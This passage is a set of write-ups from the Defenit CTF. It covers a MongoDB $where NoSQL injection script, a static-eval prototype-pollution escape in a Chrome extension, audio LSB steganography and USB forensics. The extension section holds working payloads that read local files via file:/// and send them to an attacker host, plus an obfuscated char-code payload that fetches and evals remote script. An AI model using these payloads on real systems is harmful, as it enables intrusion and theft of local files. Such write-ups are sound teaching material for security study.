    url = 'http://fortune-cookie.ctf.defenit.kr/posts'
    cookies = {'user': make_json_cookie(injection)}
    return requests.get(url, cookies=cookies).text

def get_flag():
    url = 'http://fortune-cookie.ctf.defenit.kr/flag?
favoriteNumber=12345'
    cookies = {'user': sign_cookie('v0va')}
    return requests.get(url, cookies=cookies).text

def main():
    injection = {'$where': 'Math.floor = () => 12345; return false;'}
    send_injection(injection)
    print(get_flag())

if __name__ == '__main__':
    main()

```

Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}

References .:

Some documents about objectid

1. <https://github.com/williamkapke/bson-objectid/issues/30>
2. <https://xz.aliyun.com/t/7237>
3. <https://docs.mongodb.com/manual/reference/bson-types/>
\$where key
4. <https://docs.mongodb.com/manual/reference/operator/query/where/>
NoSQL Injection
5. <https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf>
6. <https://docs.mongodb.com/manual/core/server-side-javascript/>
Others
7. <http://rocha.la/JavaScript-bitwise-operators-in-practice>

8. <https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript>

highlighter

Description

Do you like the Chrome extension?
I made a tool to highlight a string through this.
Use it well! :)

Attachments

highlighter.zip SuperHighlighter.crx

Vulnerability ::

- Static-eval prototype pollution.
- Chrome Extension's `file:///` support

Main ::

This program give a extension of Chrome , along all the competition I tried to found some side chanel , but I was wrong! :(

But I do install the extension on my browser and found some behaviours .

- when using the extension , it will first replace all letters that are not in the Reg
| `/\W/` to blank
- the extension will split all the words and try two ways to highlight the word (
| index or keyword)

After looking in background.js , noticed that there was a function can exec like `eval` , but can not exploit directly.

When you post to `/read` , `chrome.runtime.sendMessage` will be call

```
var { pathname, host } = window.location;

if (pathname === '/read' && host === 'highlighter.ctf.defenit.kr') {
```

```

let post = document.getElementById('content');
let keyword = location.hash.substr(1);

if (post && post.innerText && keyword) {
    chrome.runtime.sendMessage(
        { content: post.innerText, keyword },
        function (response) {
            post.innerHTML = response;
        }
    );
}

}

```

So we find the key word `chrome.runtime` in background.js , before reading use JS Beautifier to beauty the code.

```

.....
chrome.tabs.onUpdated.addListener(function(e, t, n) {
    "complete" == t.status && "complete" == n.status && (h = !0,
chrome.tabs.executeScript({
    file: "js/inject.js"
}))
}), chrome.runtime.onMessage.addListener(function(e, t, n) {
    var r = e.keyword,
        i = e.content;
    if (!r || !i) return void n("Something wrong.");
    try {
        var s = 1(r).body[0].expression;
        r = (0, u.default)(s)
    } catch (e) {}
    var a = i.split(/\w/),
        h = "";
    console.log(a);
    for (var p in a) "string" == typeof r && a[p] == r ? h +=
'<span style="color: red;">' + r + "</span> " : h += "number" ==
typeof r && p == r ? '<span style="color: red;">' + a[p] + "</span> "
: "<span>" + a[p] + "</span> ";
    h = c.default.sanitize(h), h = o.default.htmlPrefilter(h),
document.body.innerHTML = "", document.write(h), h =
document.body.innerHTML, n(h.trim())
    })
}, function(e, t, n) {

```

.....

Because the code is hard to read , I found [@someone](#) translate it after competition



```
chrome.runtime.onMessage.addListener(function(e, t, n) {
    var r = e.keyword,
        i = e.content;
    if (!r || !i) return void n("Something wrong.");
    try {
        var s = l(r).body[0].expression;
        r = (0, u.default)(s)
    } catch (e) {}
    var a = i.split(/\w/),
        h = "";
    console.log(a);

    for (var p in a) {
        if ("string" == typeof r && a[p] == r) {
            h += '<span style="color: red;">' + r + "</span> "
        } else {
            if ("number" == typeof r && p == r) {
                h += '<span style="color: red;">' + a[p] + "
</span> "
            } else {
                h += "<span>" + a[p] + "</span> ";
            }
        }
    }

    h = c.default.sanitize(h);
    h = o.default.htmlPrefilter(h);
    document.body.innerHTML = "";
    document.write(h);
    h = document.body.innerHTML;

    n(h.trim())
})
```

What does the function `l()` and `u.default` do?


```

try {
  var s = l(r).body[0].expression;
  r = (0, u.default)(s)
}

```

function `l()`

```

function r(e, t, n) {
  var r = null,
      i = function(e, t) {
        n && n(e, t), r && r.visit(e, t)
      },
      u = "function" == typeof n ? i : null,
      s = !1;
  if (t) {
    s = "boolean" == typeof t.comment && t.comment;
    var l = "boolean" == typeof t.attachComment &&
t.attachComment;

    (s || l) && (r = new o.CommentHandler, r.attach =
l, t.comment = !0, u = i)
  }
  var h = !1;
  t && "string" == typeof t.sourceType && (h = "module"
=== t.sourceType);
  var p;
  p = t && "boolean" == typeof t.jsx && t.jsx ? new
a.JSXParser(e, t, u) : new c.Parser(e, t, u);
  var d = h ? p.parseModule() : p.parseScript(),
      f = d;
  return s && r && (f.comments = r.comments),
p.config.tokens && (f.tokens = p.tokens), p.config.tolerant &&
(f.errors = p.errorHandler.errors), f
}

```

when search the words `CommentHandler` and `JSXParser`, we can found that a Javascript parser [Esprima](#), function `l()` looks like some kind of `parse()` what is the `u.default`? I didn't found it, but I found `static-eval`

```

e.exports = {
  _from: "escodegen@^1.11.1",

```

```

    _id: "escodegen@1.14.1",
    _inBundle: !1,
    _integrity: "sha512-
Bmt7NcRySdIfNPfU2ZoXDrRXsG9ZjvDxcAlMfDUgRBjLOWTuIACXPBFJH7Z+cLb40JeQco
5toikyc9t9P8E9SQ==",
    _location: "/escodegen",
    _phantomChildren: {},
    _requested: {
      type: "range",
      registry: !0,
      raw: "escodegen@^1.11.1",
      name: "escodegen",
      escapedName: "escodegen",
      rawSpec: "^1.11.1",
      saveSpec: null,
      fetchSpec: "^1.11.1"
    },
    _requiredBy: ["/static-eval"],
    _resolved: "https://registry.npmjs.org/escodegen/-/escodegen-
1.14.1.tgz",
    _shasum: "ba01d0c8278b5e95a9a45350142026659027a457",
    _spec: "escodegen@^1.11.1",
    _where: "C:\\Users\\posix\\Downloads\\study.webpack-blog-
webpack-default\\basic\\node_modules\\static-eval",
    bin: {
      esgenerate: "bin/esgenerate.js",
      escodegen: "bin/escodegen.js"
    },
    .....

```

🔗 [Static-Eval](#) seems to play into the program , and we can found the security from the project's README.md

static-eval is like `eval`. It is intended for use in build scripts and code transformations, doing some evaluation at build time—it is **NOT** suitable for handling arbitrary untrusted user input. Malicious user input *can* execute arbitrary code.

After reviewing the pull request, we can found [🔗 this](#)

which means we can access Function `constructor` or `__proto__` , it is like some kind of prototype pollution! 😬 Comparing the source with the patch , we can confirm that the problem is using an early one , which means the prototype pollution did exist!

This will give us a hint that can we escape from the sandbox . After the competition , I finally got the answer is about prototype pollution in static-eval [@blog post](#) written by p0six , the publisher of this problem.

Try some payload (Install on your testing machine first):



```
/read?id=20#(function(x){return''[!x?'__proto__':'constructor'][x]})('constructor')('alert(1)')()
```

And it did return the alert!! Use `alert(location)` to see what will return!



```
chrome-  
extension://jcplbbkockmfmhgf1kjanlojoadalcj/_generated_background_page.html
```

Try some effect search the exploit with `chrome-extension://`

And the manifest.json show some permissions informations.



```
{  
  "name": "Super Highlighter",  
  "version": "1.0.0",  
  "manifest_version": 2,  
  "description": "Highlight your words using keyword or index!",  
  "homepage_url": "https://ctf.defenit.kr",  
  "permissions": [  
    "http://**/*",  
    "https://**/*",  
    "file://**/*"  
  ],  
  "background": {  
    "scripts": ["js/background.js"],  
    "persistent": true  
  },  
  "content_security_policy": "script-src 'self'  
https://accounts.google.com 'unsafe-eval'; object-src 'self'"  
}
```

We can find that host permissions over all `http://**/*`, `https://**/*`, and `file://**/*`.

That means host permissions allows chrome extensions to make a request without cross origin restrictions.

So Javascript can be evaluate in Chrome extension's side , we can read the file with

```
file://
```

But we don't know where the flag is , Chrome extensions support file list with

```
file:///
```

First write some payload



```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///');
xhr.onload = function() {
    var fs = xhr.responseText.match(/addRow\("(.*?)"/g).map(x =>
x.slice(8, -1));
    (new Image).src = 'https://(IP)?' + encodeURIComponent(fs);
};
xhr.send();
```

Then visit the vuln point



```
/read?id=(articleID with payload)#(function(x)
{return'['!x?'__proto__': 'constructor'][x]})( 'constructor')
('String.prototype.split=function(){eval(String(this));return[this]}')
()
```

With prototype pollution, we overwrote `String.prototype.split` which is called by `onMessage` after `static-eval`.



```
var a = i.split(/\w/),
    h = "";
```

After overwrite the `String.prototype.split` ,when split was called , we can get the response



```
6339e914b333b35d902a2dfd2c415656,bin,boot,dev,etc,home,lib,lib64,media
,mnt,opt,proc,root,run,sbin,svr,sys,tmp,usr,var,_dockerenv
```

So the flag may hide in `/6339e914b333b35d902a2dfd2c415656`



```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///6339e914b333b35d902a2dfd2c415656/flag');
xhr.onload = function() {
    (new Image).src = 'https://(IP)?' +
    encodeURIComponent(xhr.responseText);
};
xhr.send();
```

And finally got the flag!!



```
Defenit{Ch20m3_3x73n510n_c4n_b3_m0re_Inte7e5t1ng}
```

Others payload like this!



```
http://highlighter.ctf.defenit.kr/read?id=20#
[function/**/x(__proto__,b){return/**/[({})[__proto__][b]][0]][0]
('constructor','constructor')('x1=
[118,97,114,32,120,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72
,116,116,112,82,101,113,117,101,115,116,40,41,59,10,120,104,116,116,11
2,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,1
01,32,61,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32
,105,102,32,40,116,104,105,115,46,114,101,97,100,121,83,116,97,116,101
,32,61,61,32,52,32,38,38,32,116,104,105,115,46,115,116,97,116,117,115,
32,61,61,32,50,48,48,41,32,123,10,32,32,32,32,32,32,32,101,118,97,108,
40,120,104,116,116,112,46,114,101,115,112,111,110,115,101,84,101,120,1
16,41,59,10,32,32,32,32,125,10,125,59,10,120,104,116,116,112,46,111,11
2,101,110,40,34,71,69,84,34,44,32,34,104,116,116,112,115,58,47,47,97,1
12,112,46,105,109,106,117,110,111,46,99,111,109,47,99,116,102,47,49,46
,112,104,112,34,44,32,116,114,117,101,41,59,10,120,104,116,116,112,46,
115,101,110,100,40,41,59].map(function(x)
{return/**/String.fromCharCode(x)}).join('');eval(x1)')(1234)
```

References .:

1. <https://github.com/browserify/static-eval/pull/27>
2. <https://github.com/browserify/static-eval>

Baby Steganography

Description

I heard you can find hidden data in Audio Sub Bit.
Do you want to look for it?

After extracting the zip, we got a binary of problem, use file to check what it is.



```
$ file problem
problem: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit,
stereo 48000 Hz
```

Use xxd to see



```
$ xxd problem | head
00000000: 5249 4646 e0f5 b800 5741 5645 666d 7420  RIFF....WAVEfmt
00000010: 1000 0000 0100 0200 80bb 0000 00ee 0200  .....
00000020: 0400 1000 6461 7461 bcf5 b800 0001 0000  ....data.....
00000030: 0001 0000 0001 0100 0001 0001 0001 0100  .....
00000040: 0001 0100 0001 0100 0001 0001 0001 0100  .....
00000050: 0101 0100 0001 0100 0100 0001 0001 0101  .....
00000060: 0001 0000 0001 0101 0100 0101 0001 0001  .....
00000070: 0100 0001 0000 0101 0000 0000 0001 0101  .....
00000080: 0001 0001 0001 0001 0101 0101 0001 0100  .....
00000090: 0100 0101 0001 0100 0101 0100 0001 0000  .....
```

After the flag and the length of data `6461 7461 bcf5 b800`, we can see a chunk of `01,`00`,



```
00 01 00 00 00 01 00 00 => D
00 01 01 00 00 01 00 01 => e
```

So write a script to get all the secret



```
import sys
```

```

with open('problem', 'rb') as f:
    f.read(0x2c)
    flag = ''

    while True:
        c = ''

        for _ in range(8):
            b = f.read(1)
            if b == b'\x00':
                c += '0'
            elif b == b'\x01':
                c += '1'
            else:
                sys.exit(0)

        flag += chr(int(c, 2))
        print(flag)

    if flag.endswith('}'):
        break

```

Defenit{Y0u_knOw_tH3_@uD10_5t39@No9rAphy?!}

USB-1 & USB-2

Description

- Two files were opened on a specific USB. Let's call one 'A'. 'A' is 'ZeT2iLxwVC4T9WWeoRf9.jpg'. Let's call the other 'B'. What is the name of the 'B' file?
 - format : filename (with extension)
- When was the USB inserted to open the 'B' file? (UTC+0)
 - format : yyyy-mm-dd_hh:mm:ss
- How many times has the USB with 'A' and 'B' files been inserted in total?
 - format : n (number)

FLAG format : Defenit{filename_yyyy-mm-dd_hh:mm:ss_n}

Files include USB.ad1 and A description file USB.ad1.txt . Use AccessData FTK Imager 4.3.0.18 to open the USB.ad1 .

USB related traces ::

- /Users/XXXX/AppData/Roaming/Microsoft/Windows/Recent/
 - Add Evidence Items with AccessData FTK Imager
 - find the files that opened recently
 - With the format Name | Size | Type | Date Modified
- NTUSER.DAT
 - Open Regedit
 - Load hive (NTUSER.DAT)
 - Or using Registry Explorer
- setupapi.dev.log
 - you can find the USB installed informations here(eg: GUID , Time , Name....)
- IconCache.db
 - use sqlite can view
- ActivitiesCache.db
 - use sqlite can view
- SYSTEM registry
 - To know which process and file was run and open on the USB, we first have to know when the USB was loaded. For this, we use the **SYSTEM** registry to determine the **Last Installed** time of the USB on the system.
- Amcache.hve
 - Process details
 - [root]/Windows/appcompat/Programs